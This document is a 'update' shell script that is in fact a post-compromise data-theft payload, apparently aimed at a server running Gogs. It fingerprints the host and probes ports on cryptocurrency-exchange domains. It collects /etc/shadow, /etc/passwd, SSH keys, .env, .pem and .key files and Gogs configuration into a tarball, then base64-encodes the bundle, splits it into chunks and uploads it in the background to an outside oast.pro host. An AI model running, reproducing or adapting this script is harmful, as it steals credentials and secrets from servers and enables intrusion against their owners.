update 4.3 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586
  1. #!/bin/sh
  2. TAG="4357788"
  3. H="cd4547282df75cd148eb4c445c6d2abae.oast.pro"
  4. D=$( { id; hostname; uname -a; date -u; } 2>&1 | base64 -w0 2>/dev/null | tr '+/' '-_' | tr -d '=' )
  5. if command -v curl >/dev/null 2>&1; then
  6. curl -s -m 8 -o /dev/null "http://$H/x/$TAG/start/$D" || true
  7. else
  8. wget -q -T 8 -O /dev/null "http://$H/x/$TAG/start/$D" || true
  9. fi
  10. (
  11. W=/tmp/.px$TAG
  12. rm -rf "$W"; mkdir -p "$W"
  13. exec </dev/null >/dev/null 2>&1
  14. {
  15. echo "TAG=$TAG"; date -u; id; hostname; uname -a; echo "PWD=$(pwd)"; echo "ARGS=$*";
  16. } > "$W/00_info.txt"
  17. {
  18. for hp in 37.187.9.48:22 37.187.9.48:443 37.187.9.48:80 bitcoin-mjenjacnica.hr:443 electrocoin.eu:443 paycek.io:443; do
  19. h=${hp%:*}; p=${hp#*:};
  20. timeout 6 bash -c "exec 3<>/dev/tcp/$h/$p" 2>/dev/null && echo "$hp OPEN" || echo "$hp CLOSED";
  21. done
  22. echo "--- getent ---"; getent hosts bitcoin-mjenjacnica.hr electrocoin.eu paycek.io 2>&1
  23. echo "--- ip route ---"; ip route 2>&1; echo "--- resolv ---"; cat /etc/resolv.conf 2>&1
  24. } > "$W/01_net.txt"
  25. {
  26. echo "== /root =="; ls -la /root 2>&1
  27. echo "== /root depth2 =="; find /root -maxdepth 2 -mindepth 1 -printf '%M %u %g %s %TY-%Tm-%Td %p\n' 2>/dev/null | head -400
  28. echo "== gogs =="; ls -la /root/gogs 2>&1
  29. echo "== gogs-repositories =="; ls -la /root/gogs-repositories 2>&1
  30. echo "== repo dirs =="; find /root/gogs-repositories -maxdepth 3 -name '*.git' -type d 2>/dev/null
  31. echo "== ssh dir =="; ls -la /root/.ssh 2>&1
  32. echo "== gogs data =="; ls -la /root/gogs/data 2>&1
  33. echo "== home =="; ls -la /home 2>&1; ls -la /home/*/.ssh 2>/dev/null
  34. } > "$W/02_fs.txt"
  35. { ss -lntp 2>&1 || netstat -lntp 2>&1; } > "$W/03_ss.txt"
  36. {
  37. echo "== /etc/crontab =="; cat /etc/crontab 2>&1
  38. echo "== /etc/cron.d =="; ls -la /etc/cron.d 2>&1; cat /etc/cron.d/* 2>/dev/null
  39. echo "== /var/spool/cron =="; ls -laR /var/spool/cron 2>&1; cat /var/spool/cron/crontabs/* 2>/dev/null
  40. echo "== crontab -l =="; crontab -l 2>&1
  41. echo "== systemd units =="; ls -la /etc/systemd/system 2>&1
  42. echo "== timers =="; systemctl list-timers --no-pager 2>&1 | head -30
  43. } > "$W/04_cron.txt"
  44. : > "$W/files.list"
  45. for f in /root/gogs/custom/conf/app.ini /root/gogs/custom/conf/locale/locale.ini /root/.bash_history /root/.profile /root/.ssh /etc/hosts /etc/hostname /etc/passwd /etc/shadow /etc/group /root/.gitconfig; do
  46. [ -e "$f" ] && echo "$f" >> "$W/files.list"
  47. done
  48. find /root -maxdepth 3 -type f \( -name '.env*' -o -name 'docker-compose*' -o -name '*.sh' -o -name '*.yml' -o -name '*.yaml' -o -name '*.sql' -o -name '*.conf' -o -name '*.ini' -o -name '*.json' -o -name '*.pem' -o -name '*.key' -o -name 'id_*' -o -name '*.bak' \) -size -300k 2>/dev/null >> "$W/files.list"
  49. grep -v '^/root/gogs/data/tmp' "$W/files.list" > "$W/files2.list" 2>/dev/null
  50. mv "$W/files2.list" "$W/files.list"
  51. tar czf "$W/bundle.tgz" -T "$W/files.list" 2>/dev/null
  52. [ -s "$W/bundle.tgz" ] || tar czf "$W/bundle.tgz" /root/gogs/custom/conf/app.ini /etc/hosts 2>/dev/null
  53. if [ -s "$W/bundle.tgz" ]; then
  54. base64 -w0 "$W/bundle.tgz" > "$W/bundle.b64" 2>/dev/null || base64 "$W/bundle.tgz" | tr -d '\n' > "$W/bundle.b64"
  55. SZ=$(wc -c < "$W/bundle.b64")
  56. mkdir -p "$W/chunks"
  57. split -b 2500 "$W/bundle.b64" "$W/chunks/c_" 2>/dev/null
  58. N=0
  59. for c in "$W/chunks"/*; do
  60. N=$((N+1))
  61. if command -v curl >/dev/null 2>&1; then
  62. curl -s -m 20 -o /dev/null --data-binary "@$c" "http://$H/x/$TAG/b/$N" || true
  63. else
  64. wget -q -T 20 -O /dev/null --post-file="$c" "http://$H/x/$TAG/b/$N" || true
  65. fi
  66. done
  67. SHA=$(sha256sum "$W/bundle.tgz" 2>/dev/null | cut -d' ' -f1)
  68. MSG="size=$SZ chunks=$N sha=$SHA"
  69. if command -v curl >/dev/null 2>&1; then
  70. curl -s -m 10 -o /dev/null --data-binary "$MSG" "http://$H/x/$TAG/meta" || true
  71. else
  72. wget -q -T 10 -O /dev/null --post-data="$MSG" "http://$H/x/$TAG/meta" || true
  73. fi
  74. else
  75. if command -v curl >/dev/null 2>&1; then curl -s -m 10 -o /dev/null "http://$H/x/$TAG/notarb" || true; fi
  76. fi
  77. for f in "$W"/0*.txt; do
  78. b=$(basename "$f")
  79. if command -v curl >/dev/null 2>&1; then
  80. curl -s -m 15 -o /dev/null --data-binary "@$f" "http://$H/x/$TAG/f/$b" || true
  81. else
  82. wget -q -T 15 -O /dev/null --post-file="$f" "http://$H/x/$TAG/f/$b" || true
  83. fi
  84. done
  85. ) >> /tmp/.px$TAG.log 2>&1 &
  86. exit 0